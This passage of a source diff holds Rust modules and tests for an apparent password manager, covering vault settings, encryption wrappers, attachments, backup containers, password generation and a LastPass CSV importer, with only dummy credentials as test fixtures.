fn trash_retention_forever_never_purges() {
let r = TrashRetention::Forever;
assert!(!r.should_purge(0, 1_000_000_000));
}
#[test]
fn settings_round_trip() {
let s = VaultSettings::default();
let json = serde_json::to_string(&s).unwrap();
let parsed: VaultSettings = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.attachment_caps.per_attachment_max_bytes,
s.attachment_caps.per_attachment_max_bytes);
}
#[test]
fn random_generator_default_is_20_safe() {
match VaultSettings::default().generator_defaults {
GeneratorRequest::Random { length, classes, symbol_charset } => {
assert_eq!(length, 20);
assert!(classes.lower && classes.upper && classes.digits && classes.symbols);
assert!(matches!(symbol_charset, SymbolCharset::SafeOnly));
}
_ => panic!("expected Random default"),
}
}
#[test]
fn symbol_charset_custom_round_trips() {
let c = SymbolCharset::Custom("!@#".into());
let json = serde_json::to_string(&c).unwrap();
let parsed: SymbolCharset = serde_json::from_str(&json).unwrap();
match parsed {
SymbolCharset::Custom(s) => assert_eq!(s, "!@#"),
other => panic!("expected Custom, got {:?}", other),
}
}
}

View File

@@ -0,0 +1,63 @@
//! Time helpers and the `MonthYear` type used for card expiries.
use serde::{Deserialize, Serialize};
/// Current Unix timestamp in seconds.
pub fn now_unix() -> i64 {
chrono::Utc::now().timestamp()
}
/// Month + year (1-12 / e.g. 2026). Used for card expiries.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
pub struct MonthYear {
pub month: u8,
pub year: u16,
}
impl MonthYear {
pub fn new(month: u8, year: u16) -> Result<Self, &'static str> {
if !(1..=12).contains(&month) {
return Err("month must be 1..=12");
}
if year < 2000 || year > 2099 {
return Err("year must be 2000..=2099");
}
Ok(Self { month, year })
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn now_unix_is_positive_and_recent() {
let t = now_unix();
assert!(t > 1_700_000_000); // after late 2023
assert!(t < 4_000_000_000); // before 2096
}
#[test]
fn month_year_constructor_rejects_bad_month() {
assert!(MonthYear::new(0, 2026).is_err());
assert!(MonthYear::new(13, 2026).is_err());
assert!(MonthYear::new(1, 2026).is_ok());
assert!(MonthYear::new(12, 2026).is_ok());
}
#[test]
fn month_year_constructor_rejects_bad_year() {
assert!(MonthYear::new(1, 1999).is_err());
assert!(MonthYear::new(1, 2100).is_err());
assert!(MonthYear::new(1, 2000).is_ok());
assert!(MonthYear::new(1, 2099).is_ok());
}
#[test]
fn month_year_round_trips_through_json() {
let my = MonthYear::new(7, 2030).unwrap();
let json = serde_json::to_string(&my).unwrap();
let parsed: MonthYear = serde_json::from_str(&json).unwrap();
assert_eq!(parsed, my);
}
}

View File

@@ -0,0 +1,90 @@
//! Typed wrappers around `crypto::{encrypt, decrypt}` for the new typed-item
//! data model. Each function does JSON-serialize → encrypt or decrypt → JSON-parse.
//!
//! v1 helpers (encrypt_entry / decrypt_entry / encrypt_manifest with the old
//! Manifest type) are intentionally NOT carried forward. The CLI rewrite in
//! Plan 1B switches to the new helpers.
use zeroize::Zeroizing;
use crate::crypto::{decrypt, encrypt};
use crate::error::Result;
use crate::item::Item;
use crate::manifest::Manifest;
use crate::settings::VaultSettings;
pub fn encrypt_item(item: &Item, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(item)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_item(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Item> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let item: Item = serde_json::from_slice(&plaintext)?;
Ok(item)
}
pub fn encrypt_manifest(manifest: &Manifest, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(manifest)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_manifest(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Manifest> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let manifest: Manifest = serde_json::from_slice(&plaintext)?;
Ok(manifest)
}
pub fn encrypt_settings(settings: &VaultSettings, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
let json = serde_json::to_vec(settings)?;
let plaintext = Zeroizing::new(json);
encrypt(master_key, plaintext.as_slice())
}
pub fn decrypt_settings(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<VaultSettings> {
let plaintext = decrypt(master_key, encrypted)?;
let plaintext = Zeroizing::new(plaintext);
let settings: VaultSettings = serde_json::from_slice(&plaintext)?;
Ok(settings)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::item_types::{ItemCore, SecureNoteCore};
fn key() -> Zeroizing<[u8; 32]> { Zeroizing::new([0x33u8; 32]) }
#[test]
fn item_round_trip() {
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore {
body: Zeroizing::new("hello".into()),
}));
let bytes = encrypt_item(&item, &key()).unwrap();
let decoded = decrypt_item(&bytes, &key()).unwrap();
assert_eq!(decoded.title, "note");
}
#[test]
fn manifest_round_trip() {
let mut m = Manifest::new();
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
m.upsert(&item);
let bytes = encrypt_manifest(&m, &key()).unwrap();
let decoded = decrypt_manifest(&bytes, &key()).unwrap();
assert_eq!(decoded.items.len(), 1);
}
#[test]
fn settings_round_trip() {
let s = VaultSettings::default();
let bytes = encrypt_settings(&s, &key()).unwrap();
let decoded = decrypt_settings(&bytes, &key()).unwrap();
assert_eq!(decoded.attachment_caps.per_attachment_max_bytes,
s.attachment_caps.per_attachment_max_bytes);
}
}

View File

@@ -0,0 +1,52 @@
//! Attachment encrypt/decrypt + content-addressed AID + cap enforcement.
use relicario_core::{
AttachmentId, RelicarioError,
crypto::KdfParams,
decrypt_attachment, derive_master_key, encrypt_attachment,
};
use zeroize::Zeroizing;
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
fn make_key() -> Zeroizing<[u8; 32]> {
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &fast_params()).unwrap()
}
#[test]
fn attachment_round_trip_5kb() {
let plaintext: Vec<u8> = (0..5000u32).map(|i| (i & 0xff) as u8).collect();
let key = make_key();
let enc = encrypt_attachment(&plaintext, &key, 10 * 1024 * 1024).unwrap();
assert_eq!(enc.id, AttachmentId::from_plaintext(&plaintext));
let dec = decrypt_attachment(&enc.bytes, &key).unwrap();
assert_eq!(&*dec, &plaintext);
}
#[test]
fn identical_plaintexts_yield_identical_aids() {
let plaintext = b"hello world";
let key = make_key();
let a = encrypt_attachment(plaintext, &key, 1024).unwrap();
let b = encrypt_attachment(plaintext, &key, 1024).unwrap();
assert_eq!(a.id, b.id);
// (Bytes will differ because nonce is random per-encryption — that's expected.)
}
#[test]
fn cap_enforcement_at_exact_max() {
let plaintext = vec![0u8; 1024];
let key = make_key();
// Exactly at max — should pass
let _ = encrypt_attachment(&plaintext, &key, 1024).unwrap();
// One byte over — should fail
let err = encrypt_attachment(&plaintext, &key, 1023);
match err {
Err(RelicarioError::AttachmentTooLarge { size, max }) => {
assert_eq!(size, 1024);
assert_eq!(max, 1023);
}
other => panic!("expected AttachmentTooLarge, got {other:?}"),
}
}

View File

@@ -0,0 +1,215 @@
//! Backup container round-trip + error-path coverage.
use relicario_core::backup::{pack_backup, unpack_backup, BackupInput};
fn empty_input() -> BackupInput<'static> {
BackupInput {
salt: &[0u8; 32],
params_json: r#"{"format_version":2,"kdf":{"argon2_m":256,"argon2_t":1,"argon2_p":1},"aead":"xchacha20poly1305","salt_path":".relicario/salt"}"#,
devices_json: "[]",
manifest_enc: &[],
settings_enc: &[],
items: vec![],
attachments: vec![],
reference_jpg: None,
git_archive: None,
}
}
#[test]
fn empty_vault_round_trip() {
let out = pack_backup(empty_input(), "test-passphrase-1234").unwrap();
assert_eq!(&out[..4], b"RBAK", "magic header");
assert_eq!(out[4], 0x01, "format version");
let unpacked = unpack_backup(&out, "test-passphrase-1234").unwrap();
assert_eq!(unpacked.salt, [0u8; 32]);
assert!(unpacked.devices_json.contains("[]"));
assert!(unpacked.items.is_empty());
assert!(unpacked.attachments.is_empty());
assert!(unpacked.reference_jpg.is_none());
assert!(unpacked.git_archive.is_none());
}
use relicario_core::backup::{BackupAttachment, BackupItem};
#[test]
fn populated_vault_round_trip() {
let manifest_enc = vec![0xDE, 0xAD, 0xBE, 0xEF, 0x42];
let settings_enc = vec![0x01, 0x02, 0x03];
let item_a_ct = vec![0xAA; 100];
let item_b_ct = vec![0xBB; 200];
let attach_x_ct = vec![0xCC; 4096];
let attach_y_ct = vec![0xDD; 8192];
let input = BackupInput {
salt: &[0x77u8; 32],
params_json: r#"{"format_version":2,"kdf":{"argon2_m":256,"argon2_t":1,"argon2_p":1},"aead":"xchacha20poly1305","salt_path":".relicario/salt"}"#,
devices_json: r#"[{"name":"laptop","public_key":"deadbeef"}]"#,
manifest_enc: &manifest_enc,
settings_enc: &settings_enc,
items: vec![
BackupItem { id: "1111111111111111".to_string(), ciphertext: &item_a_ct },
BackupItem { id: "2222222222222222".to_string(), ciphertext: &item_b_ct },
],
attachments: vec![
BackupAttachment {
item_id: "1111111111111111".to_string(),
attachment_id: "aaaa1111".to_string(),
ciphertext: &attach_x_ct,
},
BackupAttachment {
item_id: "2222222222222222".to_string(),
attachment_id: "bbbb2222".to_string(),
ciphertext: &attach_y_ct,
},
],
reference_jpg: None,
git_archive: None,
};
let out = pack_backup(input, "another-strong-passphrase").unwrap();
let unpacked = unpack_backup(&out, "another-strong-passphrase").unwrap();
assert_eq!(unpacked.salt, [0x77u8; 32]);
assert!(unpacked.devices_json.contains("laptop"));
assert_eq!(unpacked.manifest_enc, manifest_enc);
assert_eq!(unpacked.settings_enc, settings_enc);
assert_eq!(unpacked.items.len(), 2);
let by_id: std::collections::HashMap<_, _> =
unpacked.items.iter().map(|i| (i.id.as_str(), &i.ciphertext)).collect();
assert_eq!(by_id.get("1111111111111111").unwrap(), &&item_a_ct);
assert_eq!(by_id.get("2222222222222222").unwrap(), &&item_b_ct);
assert_eq!(unpacked.attachments.len(), 2);
let by_aid: std::collections::HashMap<_, _> = unpacked
.attachments
.iter()
.map(|a| ((a.item_id.as_str(), a.attachment_id.as_str()), &a.ciphertext))
.collect();
assert_eq!(by_aid.get(&("1111111111111111", "aaaa1111")).unwrap(), &&attach_x_ct);
assert_eq!(by_aid.get(&("2222222222222222", "bbbb2222")).unwrap(), &&attach_y_ct);
}
#[test]
fn round_trip_with_reference_image() {
let jpg_bytes: Vec<u8> = (0u8..=255).cycle().take(1024 * 64).collect(); // 64 KiB
let mut input = empty_input();
input.reference_jpg = Some(&jpg_bytes);
let out = pack_backup(input, "p").unwrap();
let unpacked = unpack_backup(&out, "p").unwrap();
assert_eq!(unpacked.reference_jpg.as_deref(), Some(jpg_bytes.as_slice()));
assert!(unpacked.git_archive.is_none());
}
#[test]
fn round_trip_with_git_archive() {
let tar_bytes: Vec<u8> = b"FAKE TAR BYTES; core treats opaquely".repeat(50);
let mut input = empty_input();
input.git_archive = Some(&tar_bytes);
let out = pack_backup(input, "p").unwrap();
let unpacked = unpack_backup(&out, "p").unwrap();
assert_eq!(unpacked.git_archive.as_deref(), Some(tar_bytes.as_slice()));
}
#[test]
fn no_history_produces_strict_subset() {
let mut a = empty_input();
a.git_archive = Some(b"some-tar-bytes");
let with = pack_backup(a, "p").unwrap();
let without = pack_backup(empty_input(), "p").unwrap();
// The "without" file is strictly smaller (one fewer base64-encoded blob in JSON).
assert!(without.len() < with.len(),
"no-history backup should be smaller: with={}, without={}",
with.len(), without.len()
);
}
use relicario_core::RelicarioError;
#[test]
fn bad_magic_rejected() {
let mut bytes = pack_backup(empty_input(), "p").unwrap();
bytes[0] = b'X';
match unpack_backup(&bytes, "p") {
Err(RelicarioError::BackupBadMagic) => {}
other => panic!("expected BackupBadMagic, got {other:?}"),
}
}
#[test]
fn unsupported_version_rejected() {
let mut bytes = pack_backup(empty_input(), "p").unwrap();
bytes[4] = 0xFF;
match unpack_backup(&bytes, "p") {
Err(RelicarioError::BackupUnsupportedVersion { found, expected }) => {
assert_eq!(found, 0xFF);
assert_eq!(expected, 0x01);
}
other => panic!("expected BackupUnsupportedVersion, got {other:?}"),
}
}
#[test]
fn wrong_passphrase_rejected_as_decrypt_error() {
let bytes = pack_backup(empty_input(), "right-passphrase").unwrap();
match unpack_backup(&bytes, "wrong-passphrase") {
Err(RelicarioError::Decrypt) => {}
other => panic!("expected Decrypt (opaque), got {other:?}"),
}
}
#[test]
fn truncated_file_rejected() {
let bytes = pack_backup(empty_input(), "p").unwrap();
let truncated = &bytes[..bytes.len().min(60)]; // shorter than HEADER_LEN + TAG_LEN
match unpack_backup(truncated, "p") {
Err(RelicarioError::Format(_)) => {}
other => panic!("expected Format(truncated), got {other:?}"),
}
}
#[test]
fn tampered_ciphertext_rejected_as_decrypt_error() {
let mut bytes = pack_backup(empty_input(), "p").unwrap();
let last = bytes.len() - 1;
bytes[last] ^= 0xFF; // flip a byte in the auth-tag region
match unpack_backup(&bytes, "p") {
Err(RelicarioError::Decrypt) => {}
other => panic!("expected Decrypt for tampered tag, got {other:?}"),
}
}
#[test]
fn backup_roundtrip_with_nfd_passphrase() {
// "café" in NFD (decomposed: e + combining acute accent)
let nfd_passphrase = "caf\u{0065}\u{0301}";
// "café" in NFC (precomposed é)
let nfc_passphrase = "caf\u{00E9}";
let input = BackupInput {
salt: &[0u8; 32],
params_json: r#"{"format_version":2,"kdf":{"argon2_m":256,"argon2_t":1,"argon2_p":1},"aead":"xchacha20poly1305","salt_path":".relicario/salt"}"#,
devices_json: "[]",
manifest_enc: &[1, 2, 3],
settings_enc: &[4, 5, 6],
items: vec![],
attachments: vec![],
reference_jpg: None,
git_archive: None,
};
// Pack with NFD passphrase
let packed = pack_backup(input, nfd_passphrase).unwrap();
// Unpack with NFC passphrase — should work after fix
let unpacked = unpack_backup(&packed, nfc_passphrase).unwrap();
assert_eq!(unpacked.manifest_enc, vec![1, 2, 3]);
}

View File

@@ -0,0 +1,63 @@
//! Field history end-to-end: capture on update, prune by retention policy,
//! survive encrypt/decrypt round-trip.
use relicario_core::{
Field, FieldValue, HistoryRetention, Item, ItemCore, Section,
crypto::KdfParams,
derive_master_key, decrypt_item, encrypt_item,
};
use relicario_core::item_types::LoginCore;
use zeroize::Zeroizing;
fn key() -> Zeroizing<[u8; 32]> {
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }).unwrap()
}
#[test]
fn password_field_history_captured_on_update() {
let mut item = Item::new("login".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("password".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v3".into()))).unwrap();
let hist = item.field_history.get(&fid).expect("history exists");
assert_eq!(hist.len(), 3);
assert_eq!(hist[0].value.as_str(), "v0");
assert_eq!(hist[2].value.as_str(), "v2");
}
#[test]
fn prune_last_n_keeps_most_recent() {
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
for i in 1..=10 {
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
}
item.prune_history(&HistoryRetention::LastN(3), 0);
let hist = &item.field_history[&fid];
assert_eq!(hist.len(), 3);
// Most recent 3: v7, v8, v9 (v10's predecessor v9 was the latest captured)
assert!(hist.last().unwrap().value.as_str().starts_with('v'));
}
#[test]
fn history_survives_encrypt_decrypt() {
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
let blob = encrypt_item(&item, &key()).unwrap();
let decoded = decrypt_item(&blob, &key()).unwrap();
let hist = decoded.field_history.get(&fid).expect("history survived");
assert_eq!(hist.len(), 1);
assert_eq!(hist[0].value.as_str(), "v0");
}

View File

@@ -0,0 +1,54 @@
//! Format v2 invariants: VERSION_BYTE = 0x02, v1 blobs are rejected with
//! UnsupportedFormatVersion, length-prefix construction guarantees domain
//! separation.
use relicario_core::{
RelicarioError,
crypto::{KdfParams, VERSION_BYTE},
decrypt, derive_master_key, encrypt,
};
use zeroize::Zeroizing;
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
#[test]
fn version_byte_is_2() {
assert_eq!(VERSION_BYTE, 0x02);
}
#[test]
fn fresh_ciphertext_starts_with_0x02() {
let key = Zeroizing::new([0u8; 32]);
// encrypt(key: &[u8; 32], plaintext: &[u8])
let ct = encrypt(&key, b"hello").unwrap();
assert_eq!(ct[0], 0x02);
}
#[test]
fn v1_blob_is_rejected_with_unsupported_format_version() {
// v1 layout: [0x01][24 nonce bytes][16 tag bytes]
let mut blob = vec![0x01u8];
blob.extend_from_slice(&[0u8; 24 + 16]);
let key = Zeroizing::new([0u8; 32]);
// decrypt(key: &[u8; 32], data: &[u8])
let err = decrypt(&key, &blob);
match err {
Err(RelicarioError::UnsupportedFormatVersion { found, expected }) => {
assert_eq!(found, 0x01);
assert_eq!(expected, 0x02);
}
other => panic!("expected UnsupportedFormatVersion, got {other:?}"),
}
}
#[test]
fn length_prefix_distinguishes_concat_collisions() {
let salt = [0u8; 32];
let img = [0x44u8; 32];
let p1 = b"abc";
let p2 = b"abcD"; // Pre-length-prefix, ("abc", [0x44, ...]) and ("abcD", ...)
// could be made to collide. With length-prefix they cannot.
let k1 = derive_master_key(p1, &img, &salt, &fast_params()).unwrap();
let k2 = derive_master_key(p2, &img, &salt, &fast_params()).unwrap();
assert_ne!(*k1, *k2);
}

View File

@@ -0,0 +1,89 @@
//! Generator integration tests — unbiased sampling (smoke), BIP39 sanity,
//! zxcvbn strength gate.
//!
//! # Note on length cap
//!
//! `generate_password` enforces `length <= 128`. The task originally specified
//! `length: 10_000` in a single call, but that would error at runtime.
//!
//! We use **Option 1 (aggregation)**: call `generate_password` 80 times with
//! `length: 128` to gather 10,240 characters total, then aggregate per-class
//! counts before asserting proportions. The ±5pp tolerance is unchanged because
//! sample size is the same (~10k chars).
use relicario_core::{
Capitalization, CharClasses, GeneratorRequest, SymbolCharset,
generate_passphrase, generate_password, validate_passphrase_strength,
};
#[test]
fn random_password_class_balance_is_reasonable() {
// Aggregate 80 × 128 = 10,240 chars so we have enough for tight statistics.
// (generate_password caps at length 128, so we cannot do a single 10,000-char call.)
let req = GeneratorRequest::Random {
length: 128,
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
symbol_charset: SymbolCharset::SafeOnly,
};
let mut lower = 0usize;
let mut upper = 0usize;
let mut digits = 0usize;
let mut total = 0usize;
for _ in 0..80 {
let pw = generate_password(&req).unwrap();
lower += pw.chars().filter(|c| c.is_ascii_lowercase()).count();
upper += pw.chars().filter(|c| c.is_ascii_uppercase()).count();
digits += pw.chars().filter(|c| c.is_ascii_digit()).count();
total += pw.len();
}
let symbols = total - lower - upper - digits;
// Charset sizes: lower 26 + upper 26 + digits 10 + safe_symbols 12 = 74
// Expected proportions: 26/74 ≈ 35.1%, 10/74 ≈ 13.5%, 12/74 ≈ 16.2%
// Allow ±5pp slop.
let t = total as f64;
let assert_pct = |label: &str, actual: usize, expected_pct: f64| {
let pct = (actual as f64) / t * 100.0;
assert!(
(pct - expected_pct).abs() < 5.0,
"{label}: actual {pct:.1}% vs expected {expected_pct:.1}%"
);
};
assert_pct("lower", lower, 26.0 / 74.0 * 100.0);
assert_pct("upper", upper, 26.0 / 74.0 * 100.0);
assert_pct("digits", digits, 10.0 / 74.0 * 100.0);
assert_pct("symbols", symbols, 12.0 / 74.0 * 100.0);
}
#[test]
fn bip39_5_word_passphrase_passes_zxcvbn_gate() {
let req = GeneratorRequest::Bip39 {
word_count: 5,
separator: " ".into(),
capitalization: Capitalization::Lower,
};
let pw = generate_passphrase(&req).unwrap();
validate_passphrase_strength(&pw).expect("5-word bip39 should pass score >= 3");
}
#[test]
fn common_weak_passphrases_fail_gate() {
for weak in &["password", "12345678", "letmein", "qwertyui", "hunter2"] {
assert!(
validate_passphrase_strength(weak).is_err(),
"expected '{weak}' to fail gate"
);
}
}
#[test]
fn random_passwords_are_unique_across_calls() {
let req = GeneratorRequest::default();
let mut seen = std::collections::HashSet::new();
for _ in 0..1000 {
let pw = generate_password(&req).unwrap();
assert!(seen.insert(pw.as_str().to_owned()));
}
}

View File

@@ -0,0 +1,276 @@
//! LastPass CSV importer — parser coverage.
use relicario_core::import_lastpass::{parse_lastpass_csv, ImportWarning};
use relicario_core::item_types::{TotpAlgorithm, TotpKind};
use relicario_core::ItemCore;
const HEADER: &str = "url,username,password,totp,extra,name,grouping,fav";
#[test]
fn single_login_row_round_trips() {
let csv = format!(
"{HEADER}\n\
https://github.com/login,alice,hunter2,,,GitHub,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items.len(), 1, "one item expected");
assert!(warnings.is_empty(), "no warnings expected");
let item = &items[0];
assert_eq!(item.title, "GitHub");
assert!(!item.favorite);
assert!(item.group.is_none());
match &item.core {
ItemCore::Login(l) => {
assert_eq!(l.username.as_deref(), Some("alice"));
assert_eq!(l.password.as_deref().map(String::as_str), Some("hunter2"));
assert_eq!(l.url.as_ref().map(|u| u.as_str()), Some("https://github.com/login"));
assert!(l.totp.is_none());
}
other => panic!("expected Login, got {:?}", other),
}
}
#[test]
fn item_id_is_freshly_minted() {
// Decision D12: title collisions don't dedupe; each row gets a fresh ID.
let csv = format!("{HEADER}\nhttps://x,u,p,,,Same,,\nhttps://x,u,p,,,Same,,");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items.len(), 2);
assert_ne!(items[0].id, items[1].id, "IDs must be unique even for identical names");
}
// Assertion helper used by later tests.
#[allow(dead_code)]
fn first_warning_message(warnings: &[ImportWarning]) -> String {
warnings.first().expect("expected at least one warning").message.clone()
}
#[test]
fn grouping_maps_to_item_group() {
let csv = format!("{HEADER}\nhttps://x,u,p,,,Bank,Finance,");
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty());
assert_eq!(items[0].group.as_deref(), Some("Finance"));
}
#[test]
fn empty_grouping_yields_none() {
let csv = format!("{HEADER}\nhttps://x,u,p,,,Bank,,");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(items[0].group.is_none());
}
#[test]
fn fav_one_marks_favorite() {
let csv = format!("{HEADER}\nhttps://x,u,p,,,Bank,,1");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(items[0].favorite);
}
#[test]
fn fav_zero_or_blank_not_favorite() {
let csv = format!(
"{HEADER}\n\
https://x,u,p,,,Zero,,0\n\
https://x,u,p,,,Blank,,",
);
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items.len(), 2);
assert!(!items[0].favorite);
assert!(!items[1].favorite);
}
#[test]
fn extra_becomes_notes_for_login() {
let csv = format!("{HEADER}\nhttps://x,u,p,,a hint,Bank,,");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items[0].notes.as_deref(), Some("a hint"));
}
#[test]
fn multiline_extra_round_trips_via_quoting() {
// CSV double-quotes escape embedded newlines.
let csv = format!(
"{HEADER}\n\
https://x,u,p,,\"line1\nline2\nline3\",Bank,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty(), "multi-line extra should parse cleanly");
assert_eq!(items[0].notes.as_deref(), Some("line1\nline2\nline3"));
}
#[test]
fn login_with_valid_totp_secret_attaches_config() {
// RFC 4648 base32 of b"12345678901234567890" → "GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ".
let csv = format!(
"{HEADER}\n\
https://github.com/login,alice,hunter2,GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ,,GitHub,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty());
match &items[0].core {
ItemCore::Login(l) => {
let totp = l.totp.as_ref().expect("expected TOTP config");
assert_eq!(totp.algorithm, TotpAlgorithm::Sha1);
assert_eq!(totp.digits, 6);
assert_eq!(totp.period_seconds, 30);
assert_eq!(totp.kind, TotpKind::Totp);
assert_eq!(totp.secret.as_slice(), b"12345678901234567890");
}
other => panic!("expected Login, got {:?}", other),
}
}
#[test]
fn login_with_bad_totp_secret_imports_without_totp_and_warns() {
let csv = format!(
"{HEADER}\n\
https://github.com/login,alice,hunter2,!!!!not-base32!!!!,,GitHub,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items.len(), 1, "login should still import");
match &items[0].core {
ItemCore::Login(l) => assert!(l.totp.is_none(), "TOTP must be dropped"),
other => panic!("expected Login, got {:?}", other),
}
assert_eq!(warnings.len(), 1);
let w = &warnings[0];
assert_eq!(w.title.as_deref(), Some("GitHub"));
assert!(w.message.contains("TOTP"), "message: {}", w.message);
assert!(w.message.contains("invalid") || w.message.contains("base32"));
}
#[test]
fn login_with_lowercase_base32_totp_is_accepted() {
// RFC 4648 is case-insensitive; LastPass exports may use either case.
let csv = format!(
"{HEADER}\n\
https://x,u,p,gezdgnbvgy3tqojqgezdgnbvgy3tqojq,,Acme,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty(), "lowercase base32 must parse");
match &items[0].core {
ItemCore::Login(l) => assert!(l.totp.is_some()),
_ => unreachable!(),
}
}
#[test]
fn url_http_sn_maps_to_secure_note() {
let csv = format!(
"{HEADER}\n\
http://sn,,,,The body of the note,My Note,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty());
assert_eq!(items.len(), 1);
assert_eq!(items[0].title, "My Note");
match &items[0].core {
ItemCore::SecureNote(sn) => assert_eq!(sn.body.as_str(), "The body of the note"),
other => panic!("expected SecureNote, got {:?}", other),
}
}
#[test]
fn secure_note_does_not_require_password() {
// SecureNote rows have empty password; that must not trigger the
// `missing password` skip path (which is Login-only).
let csv = format!("{HEADER}\nhttp://sn,,,,note text,Title,,");
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty(), "{:?}", warnings);
assert_eq!(items.len(), 1);
}
#[test]
fn secure_note_passes_through_grouping_and_favorite() {
let csv = format!("{HEADER}\nhttp://sn,,,,body,Title,Personal,1");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items[0].group.as_deref(), Some("Personal"));
assert!(items[0].favorite);
}
#[test]
fn secure_note_preserves_structured_extra_verbatim() {
// LastPass packs structured note data (e.g. credit cards) into `extra`
// using their own key:value format. We do NOT auto-parse it — verbatim
// pass-through, per spec D10.
let csv_body = "NoteType:Credit Card\nNumber:4111111111111111\nCVV:123";
let csv = format!(
"{HEADER}\n\
http://sn,,,,\"{csv_body}\",Visa,,",
csv_body = csv_body,
);
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
match &items[0].core {
ItemCore::SecureNote(sn) => assert_eq!(sn.body.as_str(), csv_body),
_ => unreachable!(),
}
}
#[test]
fn login_with_unparseable_url_imports_with_url_none_and_warns() {
let csv = format!(
"{HEADER}\n\
not-a-real-url,alice,hunter2,,,Site,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items.len(), 1);
match &items[0].core {
ItemCore::Login(l) => assert!(l.url.is_none()),
_ => unreachable!(),
}
assert_eq!(warnings.len(), 1);
assert!(warnings[0].message.contains("URL"), "msg: {}", warnings[0].message);
assert_eq!(warnings[0].title.as_deref(), Some("Site"));
}
#[test]
fn header_with_extra_column_is_rejected() {
let bad = "url,username,password,totp,extra,name,grouping,fav,EXTRA\nhttps://x,u,p,,,T,,";
let err = parse_lastpass_csv(bad.as_bytes()).unwrap_err();
let msg = format!("{err}");
assert!(msg.contains("LastPass") || msg.contains("expected"), "msg: {msg}");
}
#[test]
fn header_with_wrong_column_order_is_rejected() {
let swapped = "name,url,username,password,totp,extra,grouping,fav\nT,https://x,u,p,,,,";
let err = parse_lastpass_csv(swapped.as_bytes()).unwrap_err();
assert!(format!("{err}").contains("expected"));
}
#[test]
fn quoted_comma_in_extra_parses() {
let csv = format!(
"{HEADER}\n\
https://x,u,p,,\"hint with, a comma\",Site,,",
);
let (items, warnings) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert!(warnings.is_empty());
assert_eq!(items[0].notes.as_deref(), Some("hint with, a comma"));
}
#[test]
fn unicode_title_round_trips() {
let csv = format!("{HEADER}\nhttps://x,u,p,,,Müllerstraße — café ☕,,");
let (items, _) = parse_lastpass_csv(csv.as_bytes()).unwrap();
assert_eq!(items[0].title, "Müllerstraße — café ☕");
}
#[test]
fn empty_csv_after_header_returns_empty_vecs() {
let (items, warnings) = parse_lastpass_csv(HEADER.as_bytes()).unwrap();
assert!(items.is_empty());
assert!(warnings.is_empty());
}
#[test]
fn missing_header_is_rejected() {
